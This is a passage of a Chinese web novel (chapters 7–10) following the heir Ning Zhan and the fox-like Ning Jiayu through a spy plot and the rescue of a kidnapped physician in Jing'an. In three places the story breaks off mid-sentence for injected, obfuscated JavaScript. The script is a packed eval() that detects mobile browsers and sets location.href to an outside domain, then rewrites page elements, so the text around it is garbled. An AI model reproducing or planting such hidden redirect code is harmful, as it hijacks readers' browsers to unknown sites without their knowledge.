跨过宁府门槛，宁展步履如飞，径直往偏厅去。 他放眼一览，院中仆从如期换了诸多新面孔。才得着件安心事，哪知他一脚踏进门扉大敞的厢房，迎面却是梨花带雨、脸颊依旧挂着尘土的宁佳与。 若说此景荒诞，那是没瞧见宁佳与身后齐齐整整的包袱。 宁展麻利地撇了手中七大八小的礼盒，上前抢过那包袱，质问道：“与姑娘这是何意？先前无论如何都要入阁，可这入阁第一日，便想弃数千同僚而去？” 宁佳与抽泣不止，屡次试图开口，均被自己零碎的呜咽声打断。她抚去两行清泪，面颊的土也抹掉些许，靡颜腻理的脸蛋儿渐渐可辨。 “殿下既心有所属，何不趁早相告。”她低着头，任泪珠盈睫，滑下面颊，滴落指尖，“殿下几次三番听在下自白而不作声明......是好看姑娘家的笑话吗？” 扪心自问，宁展从未动过看笑话的心思；作为男子，也不是宁佳与以为的那般得陇望蜀之人，却莫名地在她面前提不起气力严正驳斥。 宁展打开盒盖，端出一盏梅子冰酪，到底没能递上去。他担心那发苦的泪融进盏里，连口碑载道的好滋味也失去效用。 “与姑娘许是误会了。”宁展轻声道，“思思是我妹妹。” 宁佳与却埋头摆手：“殿下无须多言，我都明白。男子都爱将心仪之人唤作‘妹妹’，待日后成了亲，才是夫人、娘子......” ...... 宁世子不是没吃过苦肉计，却是真心没吃过姑娘家的苦肉计。 一则没人敢，不知分寸的喊冤叫屈在嘉宁乃是冲撞，按律当惩；二则对方使计之前，多半已被他婉拒了对话。 此际，他几乎分不清自己究竟是失利于苦肉计，还是偏偏失利于面前这位陌生又诡异的姑娘。 7. 礼待 宁展见宁佳与抽泣不停，只得就手将冰酪推到她手边，口吻一缓再缓：“思思姓宁，是我血脉相连的胞妹。否则又如何同我一般，须得与姑娘的奇药治病呢？” 宁佳与收了声，抬头凝注那盏冰酪，道：“......殿下的胞妹，不是叫作宁馨吗？” 宁展眉梢一挑，谑道：“姑娘有备而来啊。” “这需要准备？七州境内有谁不知道吗，但凡是个人——” “还真有。”宁展笑道，“墨川那位大殿下就一直说不清我妹妹的名字。不是说成宁西，便是说成宁一。” 宁佳与对嘉宁、墨川两位大殿下不和早有耳闻，且不谈墨大殿下是否每每叫错宁馨的名姓，因为听宁展言下之意，即是在他眼里，墨大殿下就不算个人。 宁佳与不知想到什么，蓦地也笑出来。 宁展自以为打趣奏效，趁势接着道：“思思，是舍妹的乳名。” 宁佳与点头，抬袖拭了眼泪，却仍不动那飘着梅子香的冰酪，于是宁展又往她面前送。 宁佳与没动。 “不喜欢吗？”宁展疑惑道。 宁佳与挪远面前的木碗，从食盒端出含桃冰酪，左手拾起木勺，边尝边说：“我喜欢这个。” 他记得，宁佳与分明不是左利手。宁展不着痕迹地往后靠，暗自打量宁佳与垂于桌沿的右臂。 头顶目光灼灼，似要洞开她的脑壳一探究竟。宁佳与自然有所觉察，却由着宁展焦灼，缄口不语。 待慢条斯理地享用完毕，她倚回圈椅，笑问：“殿下，您说这天底下的贵人，是不是都乐得将无关紧要的人和事一并抛却脑后，只管过自己的逍遥日子？” 宁展无心作答，当即捉起宁佳与的右臂。 原本殷红的袖筒浸了不少血，颜色益深。 他想到自己清晨对宁佳与那一拽，又想到官驿大堂歪倒的狐狸面具。宁展知道其中有做戏的地方，但伤是真的，血是真的。 重金难求的良药，也是真的。 宁佳与余光瞟见宁展脸上的歉仄一闪而过。 这就够了。 宁展颔首道歉，松手出门。不多会，医官匆促赶来，为宁佳与重新上药，将业已有些骇人的伤处料理妥当。 厢房重归平静，宁展没话找话：“那冰酪，还合姑娘口味吗？” 宁佳与把宁展先前扯乱的包袱搂进怀里，低头道：“谢殿下赏。” 宁展自觉难堪，负在身后的拳头紧了又紧。 他注意到到边上冷落已久的物什，如释重负，道：“对了，姑娘慷慨献药，我们兄妹二人不胜感激。这些微薄之礼不成敬谢，聊表寸心。宁某不懂面脂面膏，如有不周，还望姑娘见谅。” 宁佳与掠视垒若小山的提盒，一望便知尽是华而不实之物，全然比不得师父给她做的化玉膏。无论宁展是真被胭脂行的掌柜欺哄了去，还是打算随意找些东西搪塞人情，她都不会收。 “殿下有此心，属下幸甚。至于这些分外之物，”宁佳与淡淡道，“属下无福消受。” 宁展没把她的讽刺放在心上，当场捏词：“即入青竹阁，便要懂得礼尚往来的规矩。” 青竹阁没那规矩。 他面向屋外，令人看不明神色，紧着说：“步溪人最不爱听旁人指摘自己野蛮无礼，我也不想听阁里议论此番收了位不守规矩的愣头青。” “听闻，嘉宁大殿下从前并非是这样无趣的人物。”宁佳与托着下巴，装腔作势，“如今却为何与善王一样死板了呢？” 宁展果然恼怒，回首斥道：“放肆！” 庭院中，鲜花落水，池鱼腾跃。 “你明白自己现在何处吗？陛下岂容你置喙？” 宁佳与毫不避讳地与他对视良久，直至落花飘远，犹有戏水之声。 春生依旧，只桃树不再发。 “民女无知，失言了。” 宁展并不满意她违心的自陈，大手一挥便命人将满桌华贵移到宁馨那边，拂袖离去前留下一句话。 “嘉宁，没有刁民的安身之地。姑娘好自为之。” - 更深，星子零散铺开，却不见皓月。 宁展南行在即，七州各处的青竹暗桩原是有条不紊地预备着。而今冷不丁被细作之事打了个措手不及，延误多时，日程越发紧凑起来。 “殿下。”以宁为宁展挑帘子，“趁夜出发。” 宁展拎着包袱站在宁府的匾额下，久久不前。 “等不得明日了。”以宁放了帘子来劝，“莫非陛下不允？可您打定主意要做的事，陛下没几件不允的。无论如何，先——” “父王允了，且支持我保密行踪，对外皆称抱病静养。我是担心母亲。今日进宫，母亲正睡着。宫娥说，母亲的身子......”宁展遥望嘉宁王宫的檐影，“阿宁，依你以为，那种能根治怪血病的药，往南还会有吗？” 不好说。 以宁确实不好说，毕竟他是亲眼看着宁展将宁佳与“请”出了宁府。下回再想遇着灵丹似的奇药，也不知猴年马月了。 宁展堪堪走到车前，正要问宁馨的去向，小道便响起金玉相碰的急促叮当。 宁馨瞧着自家兄长束装就道，当即掀掉帷帽丢给侍女，二话不说先抱住了马儿的颈脖，对以宁嚷道：“你！又要把我哥带哪儿去！” “还有你！”她转向宁展，“我出游的线路，你哪条不清楚？可你呢，这回又要不声不响地丢下我和母亲几日？还是几年！” 宁展于心不忍，轻手握住宁馨拍过来不疼不痒的巴掌，和声道：“我有罪。待大功告成，罪臣定当快马归来，给郡主殿下赔大礼，将功折罪。可好？” 宁馨紧抿着唇，涕泗交下。 “要照顾好自己。”宁展替宁馨拢了拢外袍。他犹豫片刻，终于道：“今岁世道不宁，你且留在家里罢。多陪陪母亲。” 宁馨捻着帕子拭泪，继自左耳摘下一只翠蓝胡蝶耳坠，塞进宁展手里，哽咽勒令：“如此，我也有任务，派给你！哥哥带着它，便算是带着......我和母亲，一齐去了。” 宁展盯着手心的玲珑之物，无声应了。 主从二人赶着长夜行路，却是精神无比。尤其宁展，眼皮直跳，难以静心。他将胡蝶重新包裹，收入内袋，阖眼靠上车壁。 山路颠簸，以宁稳着缰绳，直视前方，略偏头向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679213|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘内道：“公子，阁里探到那细作往景安去了，沿途的暗桩比对画像，道是徐临帆。但景安近来乱得很，闻说又是墨珩在捣鬼，前因尚不明确。南行线路是否跟着变动？” “墨川兵部侍郎徐临帆？演这出小孩儿都不爱看的闹剧，值得他亲自跑一趟？” 宁展起手捏了捏穴，仍双目紧闭。 “为着戏弄我，墨珩竟把好端端的主将当作马前卒来使。我这位表弟，永远如此幼稚，齐王早晚得给他好果子吃。” 以宁不解道：“公子怎知此举是那纨绔的手笔，而非齐王？” 齐王即位后，墨川欺软怕硬已成常态。要找人麻烦，临近的嘉宁、景安最是便宜。 墨珩固然游手好事，然大多时候，实是墨司齐顶着儿子的猖獗纨绔之名，暗作谋利夺权之乱。 “墨司齐胆小如鼠，设局一向求稳，假盗布防图不仅除却泼脏水以外再无他用，待墨川派细作潜入嘉宁的事被有心者拿去大做文章，还会引得整个七州人心惶惶。齐王当年正是以这谋乱之罪处决韩氏，若他如今先手挑起祸端，岂非是在打自己的老脸？况且那老家伙真想做什么，就必然不止幽禁外祖母而已——” 宁展猛地坐起，把住门框。 “——车后有人！” 以宁迅速勒马，马车险些随着嘶鸣声翻倒。 一张手赫然越过窗牖，熟悉的面孔出现在宁展眼前。来人瞬间撕坏了嘉宁世子的假面。 那人还想踏步登车，却被以宁冷脸截下，只得径直往帘子内递东西。 手僵了半晌，无人接取。 “礼尚往来啊展公子，这可是您亲自教给在下的规矩。”以宁又要拔剑相对，宁佳与赶忙道：“在下此来，是有正经事向公子禀明！黄昏时分，我得到确切消息，说是景安的神医墨郎中被人绑了去，至今生死不明，景安民怨滔天啊。” 闻言，以宁脸色骤变，瞪着宁佳与的眼如有狂火在烧。 宁佳与头回见这大个子变颜变色，然不等她有所反应，以宁已架马起步。她半截悬在帘内的手臂闷声磕上门框，遽痛令她不得不松手，瓷瓶掉入车内，动静几不可闻。 “嘶......”她收回有些泛红的腕子，挥起银骨扇又不知朝谁撒气，则指着飞驰的马车叫道：“将我置之事外，你们可莫要后悔！” 车内，宁展拾起滚落至角落的瓷瓶，摘了塞子轻嗅。 竟是他适才念叨的奇药。 宁展拨开窗幔，凭光端详瓶身——却是被宁佳与借走的金疮药的药瓶？ 他捏紧了瓷瓶，眼前浮现藏书阁中突然掉落的狐尾，以及惯于神出鬼没的红衣。 那是个绝对危险的人物。 宁展收起被宁佳与揭落的假面，道：“改道景安。” 墨川、景安之于自嘉宁打头的七州舆图来看，分别地处东南、西南方位。按说，宁展决计南下，先去哪处都可行。 原往墨川，是因着元太后那封受困宫门的家书。 现往景安，若说徐临帆一事为端由，宁佳与所谓的神医被劫且生死未卜一事，即为关键。 景安或有大乱。 而墨郎中，正是以宁的同胞至亲。 8. 狐仙 浮云遮眼，阴雨绵绵五日。 马车在泥泞小路簸荡不止。 须知，官道坦缓，那高官行得，小吏行得，平头百姓亦行得。可若是位王室后裔，就行不得。如是王室嫡出，更则一去不返。 前朝鼎盛时，并非如此。自两大州十三年血战休兵，七方先后派出的多位王储，皆于议和途中命丧嘉宁通墨川的官道。 七州百废待举，然诸王病的病、薨的薨，倘哪方再失嫡出，等同丢了主心骨及话语权，甚至落得任由个中强势瓜分残食的下场。 此后，除却三大州重臣并行南下济助四小州这般令刺客无从下手的大阵仗外，几无王室宗亲轻易踏足官道，嘉宁与墨川尤其避讳。 天光熹微，景安城门大开。 车马久停城关，以宁放下画像，终于唤道：“公子。” 宁展抬手隔帘，透过细缝可见，雨势渐收，人丛中挪着个囚首垢面的男子，貌似年近不惑。 “跟上。” 以宁得令驱车，过了关，那男子缩手缩脚地往右巷拐。以宁在距其不远处勒马，起势要追，却被宁展摁住了肩。 宁展探出半身，右手按佩剑，左手递掌阁令牌与以宁，驰目前方道：“速去临近以氏医馆的暗桩，传我令，暗桩只留十二人蹲守，其余人由你调动，全城摸查墨郎中音讯。这头交给我。” 令牌以竹木制，头尾圆钝，牌身狭长骨节相接，似小截竹竿。青竹隐士人手自有一块竹牌，仅掌阁令牌上镌刻“青竹”二字。 以宁挂心至亲，却也不想因私误公，道：“殿下——” “救人要紧。”宁展不容置疑，将令牌放进他手里，“救人。” 以宁仰视宁展，劲风卷过，俨如急景逆流，掀长发，往前尘。 - “阿宁，你说我是不是不该劫狱，坏人家的名声，牵累狱卒受刑，又害你挨了我的板子。结果，狱还劫了空。” 蝉儿依柳嘶唱，未满九岁的宁展把头埋进软枕，双手不甘心地紧攥凉被。 “我简直一事无成。” “救人要紧。”以宁趴伏矮榻，晾着腰背处的药膏，朝宁展的方向说，“殿下不劫，怎知成不成？” - 待以宁回神，宁展业已蹬了车辕远去。他无以言表心境，疾驰赶往暗桩。 终日在朝的温润储君久未演武运功，竟险些追丢那四处鼠窜的奸贼。宁展借着偏巷堆砌的柴垛飞身跃起，蹿房越脊，直抵贼人头顶。 “徐侍郎。”他挥剑而下，堵截那人去路，白刃以对，“再逃便是死路一条。若照实与我交代罪状，嘉宁或可保你妻儿老小安然无恙。” 原先惊惶的徐临帆霍然变脸，喧叫着朝长剑尖端冲去。宁展迅速抽手，倒吸一口气。 扑了空的徐临帆双膝跌跪，宁展退去半步，背过剑，打算看他又要演哪出好戏。 不想一发冷箭忽自斜里射来！直击这倒灶鬼的心脏。 “谁！” 宁展循箭怒斥那毫不停留的背影无果，遂将死不瞑目的徐临帆拖至墙角，以柴堆掩之，随即纵步上房，追逼放箭者。 放箭者头戴斗笠，面蒙黑布，身法矫健乃至犹有余力回首连发数矢，逼得宁展侧跳规避，以诱他踩上积雨的碎瓦。 宁展脚下一滑，迎面两箭趁势钉入他腾空的腿肚。 对方落入熙攘的集市，形消影散。 宁展扒住屋脊，半身悬空，忍痛拾起一支放空的弩箭。他拇指划过箭身刻着的几片纤长柳叶，继而随手抛开，翻身坐回房顶。 迎柳阁。 他思忖着，折断了腿上两箭。 肉里的箭镞连着短木，十分碍事，但宁展还想接着追，身后便响起窸窸窣窣的脚步。他已疲于质问来者何人，直抄起长剑反握，向响动处投出利刃，却听得剑刃撞上某物，当啷掉在翘起的檐头。 来人似乎捡了他的剑，于是传来利刃刮蹭瓦片的尖厉。不知怎的，对方迟迟未有动作，止步于此。 宁展眼下手无兵甲，且身负箭伤，若对方谋财，不必等他开口；若对方索命，他早已任剑穿胸。 犹疑不决，未必是动了恻隐之心，也许是要给他换种死法。 少顷，对方总算开口。言语虽不起波澜，但字句间尽是嘲弄和趁人之危的意味。 “别追了，展公子。没了在下，你不成的。” 宁展还击的话到了嘴边，心中觉得好笑，又咽回腹中。 这世上，谁离了谁不行？ 宁佳与几步上前，曲膝俯身，瞥了眼宁展的伤，宁展警惕地撑着瓦砾往后撤。 “你做什么？” 宁佳与牵起宁展的衣角，猛地撕下一块，替他固定断箭，答道：“扶倾济弱，行侠仗义啊。” “我是久未出山，生疏而已。姑娘为何劝我别追？”宁展话锋陡转，质疑道，“你们一伙的？你迢迢跟来，是为着掩护那人全身而退？” 宁佳与专注于手上，语调懒散：“属下好冤。” “什么冤？”宁展无意瞟见她掌间略显突兀的护套，紧着问：“你不是伤在右臂吗，为何遮了手掌？这东西莫非又是什么稀罕暗器？” 宁佳与闭口不答，却兀自停了动作，捏着系到末尾的布条两端，意味深长地与宁展对视。 宁展看她笑得阴险，未及反应，宁佳与左右手冷不防一拉！ “——啊！” 尽管宁展已极力克制惨叫，宁佳与小仇得报，也顺心了。她掩口谡身，弯眼失笑。 “姑娘......好歹毒的手腕。地煞见了，”宁展瞪着她，冷汗直流，“都得敬你一声师祖。” “欸，不敢，不敢。”宁佳与一面故作谦虚，一面活动自己养好了的手腕，“这何尝不是礼尚往来？还多亏公子不吝赐教，在下受益匪浅。” 这会儿时近晌午，又是雨后初霁的艳阳天。辰光高洒，亮了屋檐瓦面，映出人丛剪影，暖热横街坊巷。 明媚奔往世间，半道却似转了向，悉数拥她一人去，染得鬓间缕缕金灿闪熠。 宁佳与背着晃眼的光立在宁展跟前，容颜晕得迷蒙，教人拿不准此间仙山或林泉。 宁展移开视线，有些不自在，像是艳阳刺了眼。见人作势要走，他别扭地叫住宁佳与：“......姑娘且慢。” 宁佳与站定，抱臂看他。 “姑娘既还愿以青竹阁下属自居......” 宁展撑着屋脊，拼力一站。没站起来，倒是踢掉两片瓦，砸在柴堆边上，支离破碎。 “不好放着负伤的掌阁一走了之罢？” 宁佳与不再同他吵嘴斗气，只觉十分可乐，任公子哥如何威风八面也有不得已低头求援的时候。她伸手穿过肘腋之间，让宁展搭上自己肩头，搀着人一齐纵身落地。 她踢散那堆木头，抬着下巴问：“这位徐侍郎呢？” 宁展居高临下，唇角微动，眼底没有笑意。 “这就不劳与姑娘费心了。” 宁展耳力不错，可以肯定这方僻静的巷道适才仅有三人，宁佳与必然是将将赶到，她却说——徐侍郎。 她要么见过且识得徐临帆；要么自宁展和以宁启程离开嘉宁始，她就一直跟在马车后头了。 宁佳与不以为意地点点头，先撇下宁展将马牵来，飞身跃上，再弓腰去接宁展的手。她不是什的力能扛鼎之人，好在宁展识相配合，借着她的劲儿就跨了马，与她前后间约三拳。 也不管宁展是否坐稳，宁佳与甩起缰绳，两腿一夹马肚，载着伤患跑往僻路。 宁展本想着自己不必驾马，好赖能歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“与姑娘。”以宁走出包围，“您就将公子照应成这般模样？” 宁佳与无奈起身，堪堪迈出右脚，便被人抢先一步。 那女子满脸愁楚，小跑挤到宁展床前，轻声细语：“公子，小女子略识得些医术。您若不嫌我手笨，这伤，不若——” 宁展本躺卧养神，闻言霍地钳住那女子的手腕，神色凌厉非常。 “你是墨川派来接应徐临帆的人？” 女子惶然后退，使了好些气力方才抽回手腕。她一声不吭，只是摇头，噙着泪花望向以宁。 “这位姑娘是为着墨郎中而来。”以宁解释道，“公子是否身子不适，错认了人？” 宁展默然偏头，不接受以宁的开脱。 “属下......先将人带去客堂，待公子精神好些，再商议此事。”以宁拱手道，“与姑娘，这里先交给你。” 宁佳与眼珠打转，认命般走近宁展。宁展面色方显平和，竟见宁佳与俯下身，在他腰间、两臂、胸口处上下其手。 “放肆！你——”宁展急了眼，腾地起身来挥开宁佳与，“成何体统？” 宁佳与没理宁展，及时从他内袋中摸出了那瓶奇药，揶揄道：“展公子起倒自若么，端的那般孱弱却是为何？小腿中箭而已，哪里就须得满屋的大夫伺候。” “这箭上有毒。你身为下属，先言行作弄、后冷眼旁观便罢了，还有挑主家不是的道理？”宁展道，“你拿这药作甚？” 宁佳与拨开塞子，慢条斯理地上药，对于宁展的诘责不作回应。待料理完毕，她徐徐道：“我说了，此乃奇药。无论见血、中毒，只要有能够施药的伤口，且不是一击致命的重创，皆治得。” “真有如此神药？” “骗你啊。”宁佳与倾身将药瓶塞回宁展的茄袋。二人相距不过半臂，她屏息弹起，“我就不是人。” 宁展蹙眉护住茄袋，重新给药瓶换了地方，道：“你不是狐狸么？” “是狐仙转世，能续命的。殿下若连小命都保不住，还谋哪门子大业呢？您想想，”宁佳与效仿着宁展负手，似笑非笑，“是不是没我不行？” 9. 古怪 宁展被宁佳与对半劈成柴，由那些流痞话术添一把火，烧得发昏。 他一同宁佳与论礼法，对方便没完没了要同他论，江湖儿女无小节，强人所难非君子；君子，当和以处众，宽以待下[1]；仁义存心，忍让接物[2]......那叫一个能说会道。 深知劝江湖中人矩步方行，有如杨柳开花——没结果后，他便再不接宁佳与的茬，蒙头睡到午后。清醒时，不知是以氏医馆的大夫妙手如故，还是狐仙的神药奏了效，他精神大好。 宁展整装束发，从以宁那处收回掌阁令牌，随口问道：“与姑娘出门了？” “是。”以宁道，“属下已遣人盯着了。” “墨郎中。”宁展擦拭着长剑，“有消息了吗？” 以宁默然。 宁展奇怪地回头，见他欲言又止，迅速收剑入鞘，上前道：“糊涂！既有消息，我还能因着疑心就不听了？即便我不听，你也不听吗？” “属下不敢让殿下病中劳神——” “那是你亲——罢了罢了！”宁展十分头疼，“快将人叫来。” 以宁麻利去了，带回女子。 女子右手捏着左手，紧张道：“民女柳氏，见过公子。早前无心冲撞，恳请公子莫怪。” “不必多礼。”宁展佩上剑，“且说墨郎中的下落。” 柳氏含笑讨好：“小女子偶然听闻，墨郎中被一群外乡客劫去了阴山，说什的逼其就范......” “如此？”宁展横眼反诘，“姑娘为何不去报官，反倒将风闻递至本宅？” “这......”柳氏似是难乎为情，羞赧道，“官府给的赏钱，远不比贵宅丰厚。再个，公子也道这是风闻。墨神医美名在外，倘今次救人不成，民女反要遭邻里乡亲判上存心添乱的大罪。到那田地，还怎么做人呀......” 柳氏生得清癯，依宁展观之，神色不动时，若雕心鹰爪的刽子手；喜眉笑眼时，又像文怀王后宫中的掌事姑姑，甚为和婉。 “可景安阴山诡怪得紧，深入其间而不知去向者比比皆是。我怎知你，”宁展压着剑柄走近柳氏，“你并非存心坑害我等？” “民女不才，寻得一纸阴山舆图，且通晓其古怪之处。民女愿一同前往，以身作保。救回神医，”柳氏双手合十，“早日解了景安的愁，大伙儿才好照常过活不是？” “舆图从何得来？”宁展道。 柳氏含娇带怯，献上图纸：“恩客赏来。” 落日熔金，乱霞如皱绮。 青竹阁众人快马上路，宁展殿后而行。宁佳与策马追至旁侧，他瞥了眼惯是见首不见尾的狐仙，沉吟未语。 盘山之径确实险峭，如无舆图贸然前来，怕是垂饵虎口。 二人就此噤声并行，宁展本打算缄口到底，不料宁佳与虽不发一言，却频频扭头对着他笑，笑得他心里发毛。 宁展按捺不下烦乱，低声怪道：“你究竟有何可乐的？” “属下瞧公子神采英拔，典则俊雅。”宁佳与笑意更深，“自得所乐。” 宁展恨自己多嘴。 队伍逐渐停了步伐，宁展打马上前察看，宁佳与紧随其后。二人质询的目光齐崭崭投向队列中唯一一架马车，显得默契非常。 柳氏不敢走马，故单乘一舆。 以宁见状，拱手禀道：“公子，柳姑娘方才已向属下言明。阴山烟瘴横生，白日里最是迷眼，约莫亥时，尘霭即散。眼下只待入夜。” 闻此耸听危言，宁佳与和宁展不约而同地斜一眼车内人，内心却是各执微词。 宁展鄙夷柳氏又在卖弄玄虚，若非虑及墨郎中境遇不明，他断不会听凭柳氏铺眉苫眼。 宁佳与不解，那女子就快要将包藏祸心四字印在面上了，同是不明不白的来头，为何人家就轻易得了疑神疑鬼的宁世子信任呢？ 柳氏安坐舆内，以宁悬心颔首，宁展长虑却顾，宁佳与冥思苦想。周遭看似鸦默雀静，实则四人各埋千言万语。 众人披星戴月动了身，取道入林，车马留在道上着人看守。 山腹嶙嶙，以宁执舆图领头，宁佳与一个箭步蹿至其侧，余光若有似无地瞟过图纸，竟瞧见纸上清清楚楚圈出了几处位置，他们此刻正是朝着最近的那处去。 宁佳与直觉此行没劲，公子哥无意接她话茬，便自顾自与边上的隐士摆起龙门阵，东说西指，拉闲散闷。 几人拿不准此女身份，又见她理所当然与掌阁并驾齐驱，不敢怠慢。一个二个应声应得勤快，因而连遭宁展数计眼刀，后知后觉地闭了嘴。 道上重归凝寂。 不过宁佳与解了闷、套了话，心满意足。 她从几人口中得知，那柳氏女子颇有手段。神医被劫，景安上下半筹莫展，如此关头，柳氏却能拿到一纸如此精细的舆图。 众人比照图纸依次搜觅，顺顺当当抵达最后一处岩穴。自洞口打望，阴冷晦暗，然未探至深处，便隐约可见手脚被胡乱捆缚，已然失去意识的墨郎中。 以宁忙上前查看伤势，心里磐石落定，将人背起。柳氏帮衬着以宁托扶墨郎中，其余人则将此穴搜了个底朝天，无他异样。 宁展和宁佳与兀然对上眼，双双语塞。 待返回暗桩，已近子时。 更夫沿街鸣锣：“闭门闭窗——防偷防盗——” 宁佳与准备栉沐更衣，盘算着一枕黑甜至日头高挂再起。焉知放步回廊时，忽有半臂自门缝探出，俨如帘帐骤拢，瞬间卷她进房。 屋内未点灯，宁佳与凭着门外泻入的微光，方才依稀可辨面前是个人。那人透过狭缝窥测外景，断定四旁无人，将她擒至帷幔之后。 “你也瞧出古怪了？” 这不容人置喙的口吻，宁佳与一听了之。 她挥起身后绒白，蓦地遮了对面视线，轻松推开差点儿把她挤进墙里的宁展，彼此腾出些空。 宁展被那细软的毛挠得眼鼻奇痒，不住地弯腰打嚏。他气不过，抬手要捉，宁佳与却疾如雷电，登时收了尾巴。 “你放——” 不等宁展尽言，宁佳与当即打岔：“正是，属下也觉出几处古怪。” 宁展忍着痒，眼眶激出了泪，背对宁佳与道：“说。” “属下以为，怪有四处。 “一怪舆图过于精准详尽，极可能出自知情者之手。 “二怪林中烟瘴消散几无节律可循，非天时物候之象，想是他人后天弄鬼。 “三怪墨郎中手足所缚乱绳，那松松垮垮的绳结，五岁小儿上手亦能解。可见束缚是假，对方要保证的是让墨郎中一直处于昏迷。否则人醒后，不消我们寻，自己也回来了。 “这般大费周章，不可能毫无图谋。但若真是劫质，会如此爽快任我等寻着人？” 宁佳与双臂环于胸前，言之凿凿地梳理夜来所见所闻。宁展也转过身往复踱步，倾耳细听，可听得兴头，却不见那人接续谈说。 他回首对上那乌溜溜打转的杏眼，继瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679215|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁佳与右手攥拳凑上前来，倏尔蹦出根食指，恰好在宁展唇边戳出个笑涡。 “这四怪，便怪在人人赞誉高才绝学的宁世子，为何会容许那女子在你面前肆意作祟？” 宁展这回钳住了那只放肆的手，斜睨片晌，赫然向一旁甩开宁佳与。 “与姑娘，奉劝你莫要以为自己如何了不得。掌阁做事，手下没有过问的权力。记着了，于青竹阁抑或于我而言，是否有你都无足轻重。因此，也烦你不必再提诸如离尔不能的谬论。” 这四怪，其实怪在：成规章法最是宽松的景安，夜里反倒比嘉宁、墨川两地的宵禁之处更为沉静。除却宾客如云的寻芳楼，街上近乎只剩四名敲锣的更夫。 此劫未完，对方别有心肠。 但宁佳与不愿讨没趣，兀自越窗而出。 宁展听得身后响动从屋内移至窗沿，再回首，独一片枯叶晃荡飘下。他拂袖点灯，嘴边喃喃有词。 “什的江湖儿女，不肯执礼的托辞罢了。” 偏房这头，以宁专心替以墨擦拭两颊尘垢，褪去枝蔓缠络的外衫，即见里衣还算济楚，也未有捆绑以外的皮肉伤。 素日的冷面木头通宿守在榻前，目不交睫，生怕眨眼间再失至亲。双目干涩无比，心下酸楚亦然涌上，他眼圈愈发泛红，润了一遍又一遍。 景安以氏仰仗元太后、文怀王后、殿下一族重兴，得今昔光景已是不易，他并非贪心不足之人，只怪自己力不能及，此生无法护在家人周边，守一世安泰。 以宁两掌紧紧裹住以墨布着老茧的右手，暗自神伤。 - 宁掌阁待阁中某部下是破天荒的尖酸刻薄，待他人则仍是乐善好施的菩萨心肠。 天光拂晓，外头仍淅沥斜着牛毛雨，街市游人寥寥。青烟丝缕交融，织下一帘水色纱帐，适巧遮了这座冷僻的宅邸。 宁展拂去雨丝，拎着两手从以氏医馆抓回来的药，走上游廊。他起手叩门，却发现门扉将将虚掩着，听得房中传来喜极而泣之声。 他小心挪步进屋，静候埋头相拥的姐弟二人。 二人闻声昂首，后转向宁展，各自拱手施礼。 以墨自幼同胞弟聚少离多，终岁至多在新春时节或中秋之夜得以会上一面。 不是两方主家无良不准假探亲，权因爹娘身居墨川，而小弟栖止嘉宁。如正逢两州势如水火，怕是几年都求不来这一面，只能寄雁传书，略问安好。 合算姐弟二人平生所见，拢共也没有几回。 至于声名赫奕的嘉宁世子，以墨仅随景安二殿下在五年一度的七州大典上与之有一面缘分，见的自然是那张假皮。关于旁的，她唯有从小弟口中偶尔听来。 譬如，小不点儿被齐王罚了板子、小主子可算开始拔个儿了、殿下窗课拿了最佳、殿下又挨罚了板子云云。 故以墨不识宁展真容。 但她幼时入宫陪伴景安二殿下，在景安王室一路跌撞摸索，此际瞧着以宁打拱作揖，尊宁展一声“公子”，也能将其身份猜得有七八分准头。 宁展颔首回礼，方将药包递与以宁，便有人叩响了宅邸大门。 很是匆促，响动却不算大。 他与以宁相顾掂量着，屋外来人小跑，隔门请示道：“公子，访客自称是景安二殿下——承仁君。未乘轿辇，衣着寻常，许是私行。” “承仁君？”宁展神色微诧，接着问：“可有少君腰牌？” “有。说是墨郎中故交，前来探望。” 10. 旧交 宁展看向姐弟二人。 以宁木着脸起身。以墨犹豫少顷，终究点头应许了来客的探视。 宁展吩咐外边引客中堂稍坐、看茶招待，复对二人道：“你们且宽心叙旧，我去会会这位承仁君。” 若说墨珩是王室纨绔的典型，传闻中的景以承相当于师从墨珩的门徒，镇日没个正形。 然君子各有所长，纨绔亦各有所好。墨珩是骄奢淫逸、“门客”众多的花太岁，景以承则是玩物丧志、不尊师道的土阔佬。 两人皆因此习气止步少君，迟迟无法触及墨川、景安世子之位。 宁展和景以承交集甚浅，种种关乎他的诨号、情性等，多自坊间所得，也从以宁那处听过此人些许劣迹丑行。因为受景以承百般漠视的老师，正是以墨。 简言之，景以承是以家姐弟避之不及的一号人物。 宁展将将步入中堂，便瞧见一袭鹅黄长衫，小冠束发，通身除却腰牌和囊袋，再无配饰，可说周正文雅。 这人两手托着茶盏不饮，正襟危坐，神色稍显局促。 他是昏头了，还是眼晕了？宁展怀疑自己，没敢上前认。 宁展游移不决间，对方搁下茶盏站起，率先抬手长揖，向宁展拜道：“公子想必便是贵宅家主，失敬，失敬。鄙人景以承，今不请自来，多有叨扰，还望公子见谅。” 谁？ 适才道来客衣着寻常，宁展料想景以承今日该是比以往低调些，却没想会是这么一副文绉绉的装扮，委实难以置信。可此人若不是传闻中的土阔佬，两侧侍候的布衣仆从更不可能是了。 